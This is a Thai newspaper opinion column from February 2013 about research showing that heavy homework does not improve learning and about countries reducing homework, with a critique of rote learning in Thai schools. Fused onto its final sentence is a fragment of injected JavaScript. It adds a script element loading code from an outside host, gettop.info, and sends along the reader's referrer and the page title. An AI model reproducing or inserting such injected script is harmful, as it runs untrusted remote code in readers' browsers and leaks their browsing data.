มติชนรายวัน ฉบับประจำวันอังคารที่ 26 กุมภาพันธ์ 2556

 

          การบ้าน เริ่มมีในการศึกษาไทยมานานแค่ไหน? ไม่รู้

          แต่คนอายุ 60 ปีขึ้นไป ในโรงเรียนบ้านนอกขอกตื้อ สะดือจุ่น ไม่คุ้นการบ้าน บางคนอาจไม่เคยรู้จักด้วยซ้ำ

          ทำให้สงสัยว่าการบ้านจะเป็นกิจกรรมของโรงเรียนในเมือง และในครอบครัวของสังคมเมืองเท่านั้น

          ซึ่งไม่ใช่สิ่งจำเป็นของการศึกษามวลชน แต่มวลชนถูกทำให้เคยชิน เมื่อจะลดการบ้านลงจึงมีเสียงวิพากษ์วิจารณ์อย่างไม่สบายใจและไม่พอใจ

          แต่ประเทศต่างๆในโลกเริ่มต่อต้านการบ้านของลูกหลานที่ครูให้ ดังมีรายงานข่าว (คม ชัด ลึก ฉบับวันพุธ 20 กุมภาพันธ์ 2556 หน้า 11) ดังนี้

          น.ส. จุฬาภรณ์ มาเสถียรวงศ์ หัวหน้าสถาบันรามจิตติ เปิดเผยผลการวิจัย “ปรับการเรียน เปลี่ยนการบ้าน ประสบการณ์และแนวโน้มจากนานาประเทศ” โดยสรุปว่า

          ผลการวิจัยในต่างประเทศหลายชิ้น ชี้ว่าปริมาณหรือเวลาที่เด็กใช้ทำการบ้านไม่มีผลต่อผลสัมฤทธิ์ทางการเรียนของเด็กอย่างที่เคยเชื่อกันมา แต่ขึ้นอยู่กับตัวแปรอื่นๆมากมาย ทั้งลักษณะการสอน, การบ้าน, เด็ก, แม้แต่สภาพครอบครัวของเด็ก

          การบ้านต้องมีคุณภาพไม่ใช่ดูแต่ปริมาณ การบ้านมากเกินไปไม่ช่วยให้นักเรียนมีคะแนนสอบดีขึ้น แต่ทำให้เด็กทุกข์ เด็กอายุต่ำกว่า 14 ปี จะส่งผลร้ายต่อการเรียนรู้มากกว่าผลดี

          กระแสต่อต้านการบ้านทั่วโลก

          ที่ฝรั่งเศสเกิดธุรกิจรับจ้างทำการบ้าน คิดราคา 1 เหรียญ สำหรับการบ้าน 1 ชิ้นของชั้นประถม นักเรียนผู้ปกครองจึงออกมาเคลื่อนไหวนำไปสู่การประกาศนโยบายยกเลิกการบ้านเมื่อ 3 เดือนที่แล้ว พร้อมจัดระบบช่วยเด็กทำการบ้าน

          สิงคโปร์ก็ประกาศไม่เอาการบ้านเมื่อปลายเดือนตุลาคม 2555 แต่ทำกิจกรรมการเรียนเพื่อพัฒนาทักษะชีวิตและบุคลิกภาพเด็ก

          ประเทศจีนพบนักเรียนเครียดทำร้ายตัวเอง เพราะการบ้านเยอะ กระแสสังคมจีนหนุนให้ลดการบ้าน

          ขณะที่อเมริกาเพิ่มการบ้านแบบก้าวกระโดดในช่วง 2 ทศวรรษ ผลการเรียนกลับต่ำกว่าประเทศที่ให้การบ้านน้อย เช่น ญี่ปุ่น ฟินแลนด์ หรือเดนมาร์ก

          น.ส. จุฬาภรณ์กล่าวต่อไปอีกว่า หลายประเทศกระแสสังคมรวมถึงผู้ปกครองยังคงเห็นว่าการบ้านมีความจำเป็น เพราะช่วยปลูกฝัง ฝึกวินัย และฝึกการคิดวิเคราะห์ได้ถ้าออกแบบการบ้านให้ดีพอ แต่ต้องไม่ให้เด็กทำการบ้านมากเกินไป

          ดร. อมรวิชช์ นาครทรรพ ที่ปรึกษาสถาบันรามจิตติ  กล่าวว่านโยบายลดการบ้านที่ สพฐ. ประกาศนั้น ทุกคนเห็นด้วย แต่อยากเห็นความชัดเจน และน่าจะต้องมีการปรับทั้งกระบวนการ โดยเฉพาะการพัฒนาครูให้เข้าใจการให้การบ้านที่เหมาะสม มีระบบให้ครูทำงานร่วมกันมากขึ้น รวมถึงปรับระบบวัดผลด้วย

          รายงานข่าวทั้งหมดที่สรุปเอาเนื้อๆมาบอกต่อนี้ ผมเห็นเป็นเรื่องสำคัญต่อการศึกษาไทยที่เน้นท่องจำตามๆกันมา โดยเอาวิชาในหนังสือเป็นตัวตั้ง (จึงเรียก“เรียนหนังสือ”) เลยให้ความสำคัญต่อการบ้านและการท่องจำ

          เมื่อให้ลดการบ้าน เลยพากันไม่พอใจ ทั้งๆที่แท้จริงแล้วกิจกรรมการเรียนด้วยประสบการณ์ตรง ล้วนสำคัญกว่าการบ้าน

          ดูหนัง ฟังเพลง และไปเที่ยวแบ่งปันแลกเปลี่ยนเรียนรู้ท้องถิ่นต่างๆอย่างรื่นรมย์ บางทีดีกว่าการบ้านที่ไม่เข้าท่าd.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;